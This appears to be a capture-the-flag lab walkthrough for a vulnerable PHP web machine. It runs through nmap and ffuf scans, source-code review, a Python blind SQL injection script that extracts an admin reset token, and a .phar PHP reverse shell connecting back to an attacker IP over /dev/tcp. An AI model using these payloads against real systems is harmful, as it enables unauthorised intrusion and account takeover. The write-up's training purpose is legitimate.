1. Service Discovery:

Basic port knocking on all ports

nmap -p- -v 192.168.139.143

Port service enumeration

nmap -sC -sV -O -Pn -o nmap.txt 192.168.139.143

2. Content Discovery:

Default root directory content on http service

  • We can determine the server has php running on backend by appending index.php on root directory.

Brute force contents on target server

ffuf -u http://192.168.139.143/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 -e .php,.html,.rar,.7zip,.tar.gz,.gz,.zip,.bak -o ffuf.txt -fs 3650

Valid users can be enumerated through resetPassword.php

  • admin user enumerated, password has been reset

Basic authentication tests attempted with username admin but nothing works

Download source_code.zip that we found earlier

3. Source Code Analysis:

Unzipped content structure of source_code.zip

/db.sql

  • One of the tables in database named user
  • user table has these columns: id, username, password, email, gender, id_level, token

/login/resetPassword.php

  • A token with 15 alphanumeric characters was generated and sent to admin’s mailbox
  • We can reset admin’s password via http://192.168.139.143/login/doResetPassword.php?token=<TOKEN>

/item/viewItem.php

  • Most of the contents in the server require authenticated access, except this
  • id paramerter vulnerable to SQL injection
  • mysqli_real_escape_string method only sanitize some special characters
  • User input was not fully sanitized, we can still perform SQL injection without any special characters

/item/updateItem.php

  • PHP file upload is possible with .phar extension

4. Testing SQL Injection:

Boolean-based blind SQL

  • if TRUE

  • if FALSE

Extract admin’s password reset token from user table

  • exploit.py
#!/usr/bin/python3
import requests

token = ''
position = 1

while(1):
    for i in range(0,255):
        url = 'http://192.168.139.144/item/viewItem.php?id=1+AND+(SELECT+IF(1,(ASCII(SUBSTRING((SELECT+token+FROM+user+where+id=1),'
        + str(position) + ',1))=' + str(i) + '),0))'
        r = requests.get(url)
        if r.status_code == 404:            
            token = token+str(chr(i))
            position = position + 1
            print(token)
    if len(token) == 15:        
        break

Reset admin’s password with that token

Logged in with new password and we got our first flag

5. Insecure File Upload to RCE:

Create a simple php reverse web shell

  • backdoor.phar
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.139.132/3344 0>&1'"); ?>

Upload the web shell by editing any of the existing items

Listen port on our attacker machine

Refresh the web page and we’ve got our shell

Also the second flag

6. Finished

Only 2 flags in this machine.